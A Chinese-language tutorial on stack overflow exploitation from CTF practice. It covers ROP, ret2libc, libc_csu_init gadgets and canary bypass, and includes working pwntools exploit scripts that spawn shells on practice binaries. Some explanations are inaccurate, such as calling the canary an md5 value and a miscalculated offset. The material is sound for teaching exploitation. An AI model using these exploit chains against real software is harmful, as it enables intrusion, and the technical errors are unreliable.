[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶

[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶

栈基础

内存四区

  • 代码区(.text):这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指令执行。

  • 数据区(.data):用于存储全局变量和静态变量等。

  • 堆区:动态地分配和回收内存,进程可以在堆区动态地请求一定大小的内存,并在用完后归还给堆区。地址由高到低生长

  • 栈区:用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行;此外局部变量也存储在栈区。地址由低到高生长

    BSS段:(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,属于静态内存分配。

栈的概念

  • 一种数据结构,数据存储方式为先进后出,压栈(push)和出栈(pop)  
  • 每个程序都有自己的进程地址空间,进程地址空间中的某一部分就是该程序的栈,用于保存函数调用信息和局部变量  
  • 程序的栈是从进程空间的高地址向低地址增长的,数据是从低地址向高地址存放的

[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第1张图片

函数调用

  • 函数调用经常嵌套,在同一时刻,堆栈中会有多个函数的信息。

栈帧

  • 每个未完成运行的函数占用一个独立的连续区域,称作栈帧。
  • [漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第2张图片

基本流程

;调用前
push arg3               ;32位esp-4,64位esp-8
push arg2
push arg1
call func               ;1. 压入当前指令的地址,即保存返回地址 2. jmp到调用函数的入口地址
push ebp                ;保存旧栈帧的底部,在func执行完成后在pop ebp
mov ebp,esp         ;设置新栈帧的底部
sub esp,xxx         ;设置新栈帧的顶部
  • [漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第3张图片

详细流程

int func_b(int b1,int b2)
{
  int var_b1,var_b2;
  var_b1 = b1+b2;
  var_b2 = b1-b2;
  return var_b1 * var_b2;
}
int func_a(int a1,int a2)
{
  int var_a;
  var_a = fuc_b(a1+a2);
  return var_a;
}
int main(int argc,char** argv,char **envp)
{
  int var_main;
  var_main = func_A(4,3);
  return 0;
}
  • [漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第4张图片

参数传递

  • x86
  1. 通过栈传参
  2. 先压入最后一个参数
  • x64
  1. rdi rsi rdx rcx r8 r9 接收后六个参数
  2. 之后的参数通过栈传参
  • 64位的利用方式

    构造rop链
    >
    > 1. ROPgadget --binary level3_x64 --only 'pop|ret'
    >
    c > # Gadgets information > > 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret > 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret > 0x00000000004006b0 : pop r14 ; pop r15 ; ret > 0x00000000004006b2 : pop r15 ; ret > 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret > 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret > 0x0000000000400550 : pop rbp ; ret > 0x00000000004006b3 : pop rdi ; ret > 0x00000000004006b1 : pop rsi ; pop r15 ; ret > 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret > 0x0000000000400499 : ret >
    >
    > 2. 依次找pop rdi,pop rsi..,pop r9 ,这些寄存器里面存放的是参数,可以通过pop覆盖其中的内容

栈溢出

栈溢出指的是程序向栈中某个变量写入的字节数超过了这个变量本身申请的字节数,因而导致栈中与之相邻的变量的值被改变。

栈溢出目的

  • 破坏程序内存结构
  • 执行system(/bin/sh)
  • 执行shellcode

栈溢出思路

判断溢出点

常见的危险函数:

输入:gets scanf vscanf

输出:sprintf

字符串:strcpy strcat bcopy

判断padding

  1. 计算我们所要操作的地址和所要覆盖的地址的距离
  2. IDA静态分析中常见的三种索引方式

a. 相对于栈基地址的索引,通过查看EBP相对偏移获得 char name[32]; [esp+0h] [ebp-28h]  ==> 0x28+0x4

b. 相对于栈顶指针的索引,需要加上ESP到EBP的偏移,然后转换为a方式

c. 直接地址索引,相当于直接给出了地址

覆写内容

覆盖函数返回地址

覆盖栈上某个变量的内容,如局部变量和参数

Ret2text

返回到某个代码段的地址,如.text:0804863A    mov    dword ptr [esp], offset command ; "/bin/sh"
要求我们控制程序执行程序本身已有的代码

Ret2shellocde

跳转到我们在栈中输入的代码,一般在没有开启NX保护的时候使用.

ret2shellcode的目标即在栈上写入布局好的shellcode,利用ret_address返回到shellcode处执行代码。

Ret2syscal

让程序返回到系统调用,调用syscall或execve执行某个程序,对于静态编译的程序,没有libc,只好通过execve执行shellcode了。

syscall    --->rax syscall 0x3b  ==>execve rax

​             --->rdi  path  ==> /bin/sh        rdi

​             --->rsi  argv   /                           rsi

​             --->rdx env                                         rdx

int execve(const char *filename, char *const argv[],char *const envp[]);
      execve("/bin/sh",null.null) 等同于system("bin/sh")

syscall(32位程序为int80)会根据系统调用号查找syscall_table,execve对应的系统调用号是0x3b。

当我们给syscall的第一个参数即rax中写入0x3b时(32位程序为0xb),就会找到syscall_table[0x3b],即syscall_execve,然后通过execve启动程序。

找syscall和int 80的方法:ROPgadget --binary test --only 'int/syscall'

静态编译的程序没有system等函数的链接支持,故一般利用ret2syscall构造栈溢出

Ret2libc

如找到system函数在动态链接库libc中的地址,将return的内容覆盖为该地址,跳转执行

​       leak出libc_addr + call system + 执行system('/bin/sh')

​       难点:libc动态加载,每次基址都会变化,如何泄露libc的地址?

​       思路:got ---> read_addr() --->libc

​                  read_addr -  libc_base = offsset (不变)

​                  libc_base = read_addr - offset

​        bin/sh的来源 : 程序本身或libc或者写一个/bin/sh到bss段

​                 binsh = libc.search("/bin/sh").next()

其它

判断是否是否为动态编译

⚡ ⚙  ~/stack/day_4  ldd ret2text 
  linux-gate.so.1 =>  (0xf7f36000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d60000)  -->libc的版本,也可以vmmap查看
  /lib/ld-linux.so.2 (0xf7f38000)

判断libc的版本

a. 本地直接通过vmmap查看
b. 远程的根据函数后几位的偏移得到
      libc-database
          link:https://github.com/lieanu/libc-database.git
          usage: ./find func_name offset
          exemplify: ./find gets 5a0
          effection: 
                  ➜  libc-database git:(master) ./find gets 5a0
                  archive-eglibc (id libc6_2.17-93ubuntu4_i386)
c: 5a0怎么来的?
  .got.plt:0804A010 off_804A010     dd offset gets 

  pwndbg> x/20gz 0x0804a010
0x804a010 : 0x08048476f7e643e0  0x08048496f7e64ca0
0x804a020 <[email protected]>:   0x080484b6080484a6  0xf7e65360f7e1d540
0x804a030 : 0x080484f6080484e6  0x0000000000000000
0x804a040 : 0x00000000f7fb75a0  0x0000000000000000
0x804a050:    0x0000000000000000  0x0000000000000000
0x804a060 :    0x00000000f7fb7d60  0x0000000000000000
0x804a070:    0x0000000000000000  0x0000000000000000
0x804a080:    0x0000000000000000  0x0000000000000000
0x804a090:    0x0000000000000000  0x0000000000000000
0x804a0a0:    0x0000000000000000  0x0000000000000000

64位程序和32位程序的区别

1. 传参方式
      64位:rdi rsi rdx rcx r8 r9 
      32位:通过栈传参
2. syscall & int 80

栈空间布局

// 伪代码
 A(int arg_a1,int arg_a2)
 B(int arg_b1,int arg_b2,int arg_b3)
 C()
-------------------------------------
// B的压栈流程
 ---> ESP                                  //指向栈顶,随着压栈不断抬高
        buf[128]                    //局部变量
        EBP                         //保存旧栈帧的底部,4字节
        return                      //这是B的返回地址,即C
        arg_b1
        arg_b2
        arg_b3          
    -->EBP                                //指向当前栈帧的底部,随着压栈不断抬高,指向旧栈帧

栈溢出原理

  • 当局部变量buf超过128字节,会向下覆盖EBP,return以及参数的内容。
  • 构造return
  1. 将buf 的 132到136字节的空间输入shellcode的地址
  2. 会跳转执行shellcode

保护机制

NX

  • 保护原理

堆栈不可执行保护,bss段也不可执行,windows下为DEP,可通过gcc -z execstack关闭

开启NX后再把return的内容覆盖为一段shellcode,在开启NX的时候,不能执行。

  • 绕过原理 : 32位

实现A函数执行的方法,即构建ROP链

  1. return ---> fake_addr ---> A
  2. 将B的参数从arg_b2到arg_b3也覆盖成A的参数
// 伪代码
 A(int arg_a1,int arg_a2)
 B(int arg_b1,int arg_b2,int arg_b3)
 C(int arg_c1,int arg_c2)
-------------------------------------
// B的压栈流程
 ---> ESP                                  
        buf[128]                    
        EBP                         
        return                      //把return的内容覆盖为A的地址
        arg_b1                      //程序在调用A函数的时候,把下一个栈数据当作A的返回地址,因此需要在再下一条语句的时候开始覆盖参数
        arg_b2  arg_a2       //将B的参数用A的参数覆盖掉
        arg_b3  arg_a1      
    -->EBP                                

借鉴上面的方法,在调用A之后,再调用C,构建ROP链

  1. 这时不能把系统认为的A的返回地址的arg_b1覆盖为C的返回地址,不然会向上覆盖arg_a2和arg_a2,导致A无法正常执行。
  2. 这时需要再找一个return语句,程序里面通常含有pop-pop-ret的链
  3. ROPgadget --binary --only 'pop|ret'    : 自动寻找rop链
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret          //选择这个地址,代码段无NX
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
  1. 将arg_b1覆盖为addr_pop_pop_ret的地址:4006b0
  2. 此时将将arg_a1 pop到r14,arg_a2 pop到r15,然后ret
  3. 将ret的内容覆盖为C的入口地址,即可!
  4. 程序执行如下代码:
// 伪代码
 A(int arg_a1,int arg_a2)
 B(int arg_b1,int arg_b2,int arg_b3)
 C(int arg_c1,int arg_c2)
-------------------------------------
// B的压栈流程
 ---> ESP                                
        buf[128]                  
        EBP                       
        return                        //-->fake_addr_A
        arg_b1                        //-->4006b0  addr_pop_pop_ret
        arg_b2  arg_a1         //pop r14 
        arg_b3    arg_a2       //pop r15
        ret                           // --->fake_addr_C
        0                                 // --->C的返回地址,现在没用了
        arg_c1
        arg_c2
  -->EBP   
  • 完整流程
  1. 使用buf将栈空间覆盖
  2. 在B退出的时候ret到A
  3. 依次取覆盖之后的A的两个参数,执行A函数
  4. 返回到pop_pop_ret的地址
  5. 将ret的地址覆盖为C的地址
  6. 将C的返回地址置空
  7. 写入C的参数
  8. 执行C函数
  • 总结

A函数的功能通常时"/bin/sh"

C函数的功能为system

上述流程执行完则可以达到反弹shell的目的

由于程序不在栈上执行而是在代码段中执行,所有可以绕过NX保护机制。

Canary(金丝雀)

  • 保护原理

开启canary后,会在程序的EBP与ESP之间的位置随机插入一段md5值,占4字节或8字节。

canary为一段以 /0 结尾的一串md5值,如123456/0,起截断作用,防止打印。

在程序return之前与内核地址[fs:0x28]异或校验md5值

异或结果为1时报错退出,为0时正常ret。

几种思路

  1. 如果能在栈中拿到md5值,在指定位置可以精准覆盖之。
  2. 将从内核中取的md5值,设置为自己定义的值,覆盖的时候覆盖自己定义的值。
  • gcc开启canary

参数:-fstack-protector :启用保护,不过只为局部变量中含有数组的插入保护

参数:-fstack-protector-all :为所有函数插入保护

参数:-fstack-protector-strong -fstack-protector-explicit :只对明确有stack-protect 属性的函数启用保护

参数:-fo-stack-protector :禁用保护

  • 3种利用方法利用
  1. 覆盖canary的最后一个字节

> 利用栈溢出将"\0"覆盖掉,则可以将canary打印出来。

  1. smash
  2. leak stackguard -- top
  • 查看开启的保护机制
⚡ > ~/stack/day_1> checksec leak_canary
[*] '/root/stack/day_1/leak_canary'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

PIE

  • 保护原理

让程序能装载在随机的地址,主要是代码段的地址随机化,改变的是高位的基地址。

gdb中使用show proc info 可以显示代码段的基地址

--enabled-default-pie开启 -no-pie关闭

  • 通常与ALSR联合使用
    • [漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第5张图片

ALSR

  • 保护原理

每次加载程序,使其地址空间分布随机化,即使可执行文件开启PIE保护,还需要系统开启ASLR才会真正打乱基址。主要是堆栈和libc的地址随机化。

修改/proc/sys/kernel/randommize_va_space来控制ASLR的开关。

栈溢出进阶

pwntools

# Pwntools环境预设
from pwn import *
context.arch = "amd64/i386"                             #指定系统架构
context.terminal = ["tmux,"splitw","-h"]     #指定分屏终端
context.os = "linux"                                     #context用于预设环境

# 库信息
elf = ELF('./PWNME')                        # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
libc = ELF('lib/i386-linux-gnu/libc-2.23.so')     # 载入libc的库,可以通过vmmap查看
/*
首先使用ELF()获取文件的句柄,然后使用这个句柄调用函数,如
>>> e = ELF('/bin/cat')
>>> print hex(e.address)    # 文件装载的基地址
>>> print hex(e.symbols['write']) # plt中write函数地址
>>> print hex(e.got['write'])     # GOT表中write符号的地址
>>> print hex(e.plt['write'])       # PLT表中write符号的地址                    
*/                                       

# Pwntools通信                    
p = process('./pwnme')                      # 本地 process与程序交互
r = remote('exploitme.example.com',3333)          # 远程

# 交互
recv()          # 接收数据,一直接收
recv(numb=4096,timeout=default) # 指定接收字节数与超时时间                    
recvuntil("111")     # 接收到111结束,可以裁剪,如.[1:4]
recbline()      # 接收到换行结束
recvline(n)     # 接收到n个换行结束
recvall()           # 接收到EOF
recvrepeat(timeout=default) #接收到EOF或timeout
send(data)      # 发送数据
sendline(data)      # 发送一行数据,在末尾会加\n
sendlineafter(delims,data) #   在程序接收到delims再发送data                  
r.send(asm(shellcraft.sh()))                          # 信息通信交互                                       
r.interactive()                              # send payload后接收当前的shell

# 字符串与地址的转换
p64(),p32()  #将字符串转化为ascii字节流
u64(),u32()  #将ascii的字节流解包为字符串地址                  

got & plt

在IDA中选择view-open subview - segment可以直接查看到got和plt段

.plt:08048440 ; __unwind {
.plt:08048440                 push    ds:dword_804A004
.plt:08048446                 jmp     ds:dword_804A008      ;804A008是got表的地址
.plt:08048446 sub_8048440     endp

plt段的某个地址存放着指令 jmp got

.got.plt:0804A00C off_804A00C     dd offset printf        ; DATA XREF: _printf↑r
.got.plt:0804A010 off_804A010     dd offset gets          ; DATA XREF: _gets↑r
.got.plt:0804A014 off_804A014     dd offset time          ; DATA XREF: _time↑r
.got.plt:0804A018 off_804A018     dd offset puts          ; DATA XREF: _puts↑r
.got.plt:0804A01C off_804A01C     dd offset system        ; DATA XREF: _system↑r
.got.plt:0804A020 off_804A020     dd offset __gmon_start__
.got.plt:0804A020                                         ; DATA XREF: ___gmon_start__↑r
.got.plt:0804A024 off_804A024     dd offset srand         ; DATA XREF: _srand↑r
.got.plt:0804A028 off_804A028     dd offset __libc_start_main
.got.plt:0804A028                                         ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A02C off_804A02C     dd offset setvbuf       ; DATA XREF: _setvbuf↑r
.got.plt:0804A030 off_804A030     dd offset rand          ; DATA XREF: _rand↑r
.got.plt:0804A034 off_804A034     dd offset __isoc99_scanf

got段中存放着程序中函数的地址,可以避免每次调用某个函数的时候去libc库中寻找。

  • 函数调用流程
  1. 找到plt表.plt表存放指令
  2. 跳转到got表,got表存放地址,不能填在return的位置
  3. 找到对应的func_addr
  4. 没有的时候跳转到libc中取出函数,并缓存到got表
  • plt2leakgot

plt["write"](1,got("write"),4)

通过plt的write函数leak出got的地址

libc_csu_init

  • 在所有的64位程序中都含有libc_csu_init函数
.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400690
.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13             // 4. 利用点,将r13给到了rdx
.text:0000000000400693                 mov     rsi, r14             // 5. 控制rsi
.text:0000000000400696                 mov     edi, r15d            // 6. 控制rdi的低四位
.text:0000000000400699                 call    qword ptr [r12+rbx*8]    //7. 给rbx赋0,相当于call [r12]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx                  //1. 控制函数从这里执行
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12                  //8. 给r12添一个main_addr
.text:00000000004006AE                 pop     r13                  //2. 通过栈控制r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn                            //3. ret到 mov  rdx, r13
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
//实现通过栈控制rdx
  • 目的
    • 在64位提供三个参数的用法
  • 利用原理
  1. 程序在启动main函数之前,都由glibc的标准c库启动,即由libc_csu_init启动main函数
  2. libc_csu_init可以获得一个有4个参数调用的地方,比如系统调用函数syscall

如syscall--->rax syacall 0x3b ==>execve

​             --->rdi  path  "/bin/sh"

​             --->rsi  argv   

​             --->rdx env

  1. 通过syscall调用execve,执行execve("/bin/sh",null,null),等价于system("/bin/sh")
  2. syscall(32位程序为int80)会根据系统调用号查找syscall_table,execve对应的系统调用号是0x3b。

当我们给syscall的第一个参数即rax中写入0x3b时(32位程序为0xb),就会找到syscall_table[0x3b],即syscall_execve,然后通过execve启动程序。

  1. 找syscall和int 80的方法:ROPgadget --binary test --only 'int/syscall'

ret2_dl_runtime_resolve

解决32位无输出函数的情况,64位使用IOfile的方式。

  1. 找对应的plt中的地址
  2. 跳转到对应的got表中,got中如果有,则执行对应函数
  3. 如果跳转到的got对应位置没有值,got会向后累加一个地址,然后跳转到plt[0],压入两个参数,一个是index,一个是与DYNAMIC有关的参数,称为link_map(动态链接用到的名字,如puts),然后再调用dl_runtime_resolve(link_map_obj,reloc_index)
push    cs:qword_602008           
.plt:00000000004007A6                 jmp     cs:qword_602010
  1. dl_runtime_resolve实际上是一个解析实际地址的函数,根据函数名称做解析,然后写回到plt的index对应的got
  2. 调用完之后,会根据参数调用解析出来的地址,比如解析出来的puts函数,那么会调用puts函数,并且写入puts_got中
  3. 结束后,接着运行程序

因此,我们向DYNAMIC中写入puts字符串就可以了

栈劫持

整形溢出

[实验](#程序七  :  整型溢出)

调试

程序一 :rop链  & _libc_csu_init

ROP

  • IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(*(_QWORD *)&argc, argv, envp);
  return write(1, "Hello, World!\n", 0xEuLL);
}
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]    说明buf到rbp有0x80字节。即buf[0x80]
  write(1, "Input:\n", 7uLL);
  return read(0, &buf, 0x200uLL);    //从标准控制台向buf读入0x200
}
  • 攻击脚本
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]

if len(sys.argv) < 2:
    debug=True 
else:
    debug=False
if debug:
    p = process("./level3_x64")
    elf = ELF("./level3_x64")
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
    p = remote("x.x.x.x",xxxx)
    elf = ELF("./level3_x64")
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def debugf():
    gdb.attach(p,"b *0x400602")
#debugf()
padding = 0x80 * "a"
padding_rbp = "junkjunk"
write_plt = elf.plt["write"]    
write_got = elf.got["write"]    
# target : write(1,write_got,8)
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
main_addr = 0x40061A

payload = padding + padding_rbp + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr)  
p.sendafter("Input:\n",payload)
addr = u64(p.recv(6).ljust(8,"\x00"))
libc.address = addr - libc.symbols["write"]
binsh = libc.search("/bin/sh").next()
system = libc.symbols["system"]
payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendafter("Input:\n",payload)

p.interactive()
  • 思路
  1. 泄露system在libc中的地址

通过write函数泄露system的地址

先通过plt中的wrtite jump到got中的write函数的地址,然后通过offset计算libc的基址,然后泄露system的地址

可以将第一个return的内容覆盖为plt["write"]的地址

即write(1,write_got,8) 调用write_got,打印8个字节到屏幕上

  1. 寻找rop链 rdi_pop_rsi_pop_rdx_ret,保存write函数的参数与返回地址

64位程序的参数压栈顺序rdi,rsi,rdx,rcx,r8,r9

➜  level3_x64 ROPgadget --binary level3_x64 --only 'pop|ret'
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
  1. 由于在rop链中没有发现rdx,暂时不去使用rdx,因为rdx中本来就可能含有大于8的数,因此对我们而言传参与否意义不大,只是成功率的问题,直接返回到main_addr即可
.text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000040061A                 public main
.text:000000000040061A main            proc near               ; DATA XREF: _start+1D↑o

libc_csu_init

  • 解决rop链中无rdx的思路
a. 调用libc_csu_init
b. libc_csu_init有rdx
c. 在libc_csu_init循环构造payload
  • libc_csu_init的内存布局
.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400690
.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13             // 4. 将r13给到了rdx
.text:0000000000400693                 mov     rsi, r14             // 5. 控制rsi
.text:0000000000400696                 mov     edi, r15d            // 6. 控制rdi的低四位,注意这里不能存放下6字节的/bin/sh
.text:0000000000400699                 call    qword ptr [r12+rbx*8]    ;7. 给rbx赋0,相当于call [r12],
                                                                                    ; 将system的地址写入其中bss中,将bss_addr写入其中
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp           //9. 使rbp=1,跳过jnz
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx                  //1. 控制函数从这里执行
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12                  //8. 给r12添一个main_addr
.text:00000000004006AE                 pop     r13                  //2. 通过栈控制r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn                              //3. ret到main_addr
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
//实现通过栈控制rdx
  • 空闲的bss段
.bss:0000000000600A89                 db    ? ; 向其中写入system的地址,call [r12] ,将r12改为0x600A89 
.bss:0000000000600A8A                 db    ? ;
.bss:0000000000600A8B                 db    ? ;
  • 坑点
  1. call    qword ptr [r12+rbx*8]  ;寄存器间接寻址,需要把system的地址写入bss
  2. mov     edi, r15d                   ;只能存放4个字节,存放不了/bin/sh                                             
  • _libc_csu_init攻击脚本实现
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]

if len(sys.argv) < 2:
    debug=True 
else:
    debug=False
if debug:
    p = process("./level3_x64")
    elf = ELF("./level3_x64")
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
    p = remote("x.x.x.x",xxxx)
    elf = ELF("./level3_x64")
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def lib_csu_init(ret_address,call,p1,p2,p3):
    pop_ret7 = 0x4006AA                 
    libc_csu_init_addr = 0x400690   
    payload = 0x80*'a' + p64(0)             # padding_ebp
    payload+= p64(pop_ret7)
    payload+= p64(0) + p64(1) + p64(call)   #rbx rbp r12
    payload+= p64(p3) + p64(p2) + p64(p1)   #r13 r14 r15
    payload+= p64(libc_csu_init_addr)       #ret 
    payload+= p64(0)*7                      #clear rsp rbx rbp r12  r13 r14 r15
    payload+= p64(ret_address)
    p.sendafter("Input:\n",payload)

def debugf():
    gdb.attach(p,"b *0x400602")
#debugf()
write_plt = elf.plt["write"]    
write_got = elf.got["write"]    
read_got = elf.got["read"]  
main_addr = 0x40061A
bss_addr = 0x600A89

lib_csu_init(main_addr,write_got,1,write_got,0x8)
write_addr = u64(p.recv(8))
log.success("write_addr:" + hex(write_addr))
libc.address = write_addr - libc.symbols["write"]
log.success("libc.address:" + hex(libc.address))
lib_csu_init(main_addr,read_got,0,bss_addr,16)  # 16 is the param of read 
# read system to bss_addr and write "/bin/sh to bss_addr+8"
#binsh = libc.search("/bin/sh").next() not need anymore
system = libc.symbols["system"]
p.send(p64(system)+"/bin/sh\x00")
#lib_csu_init(main_addr,bss_addr,binsh,0,0) binsh has 6 bytes ,r15 can't store 
lib_csu_init(main_addr,bss_addr,bss_addr+8,0,0)
p.interactive()
  • 调试
  1. 设置断点到* 0x4006AA

[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第6张图片

  1. 第一次循环结束后

[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第7张图片

[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第8张图片

  1. 返回到main

[漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶_第9张图片

  1. 打印libc的地址

  1. 查看bss_addr的内容

 

程序二 :canary

  • IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Hello Hacker!");
  vuln();
  return 0;
}
unsigned int vuln()
{
  signed int i; // [esp+4h] [ebp-74h]
  char buf; // [esp+8h] [ebp-70h]
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);                    //从fs:28h读取canary到栈
  for ( i = 0; i <= 1; ++i )
  {
    read(0, &buf, 0x200u);                    //溢出点
    printf(&buf);                                        //如果没有printf,可以通过_dl_runtime_resolv泄露canary
  }
  return __readgsdword(0x14u) ^ v3;     //异或栈中的canary与内核中的md5
}
  • 利用方法
  1. 在ebp - 0x0c的地址覆盖为canary值
  2. 泄露canary的值
  • 攻击脚本
from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC                           # 到达canary的偏移地址
payload = (offset)*"a" + "b"     # 覆盖掉canary的最后的"\0"字节,这时就可以打印出canary了
p.send(payload)
p.recvuntil("ab")                         #在canary之前截断,在没有printf,可以通过_dl_runtime_resolv泄露canary
canary = u32(p.recv(3).rjust(4,"\x00")) #接收三字节的canary,并用0将第四个字节补齐
log.success("canary:"+hex(canary))        
payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell)  # 最终payload
p.send(payload2)
p.interactive()

程序三 :canary(不需绕过)

  • IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h]
  unsigned int v6; // [esp+1Ch] [ebp-8Ch]
  int v7; // [esp+20h] [ebp-88h]
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);                //v5是序号,无大小限制,造成漏洞点
      puts("new number:");
      __isoc99_scanf("%d", &v7);                
      v13[v5] = v7;         
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}
  • 利用原理
  1. v5无大小限制,形成漏洞点
  2. 可以看到 char v13[100]; // [esp+38h] [ebp-70h],当v5 = 28的时候,28*4=102=0x70,第29个字节就是EBP,第30个字节就是ret。
  3. 控制输入v7的内容和长度,实现ret的精准覆盖。
  4. 因此这道题不需要绕过canary。

程序四 :ret2text

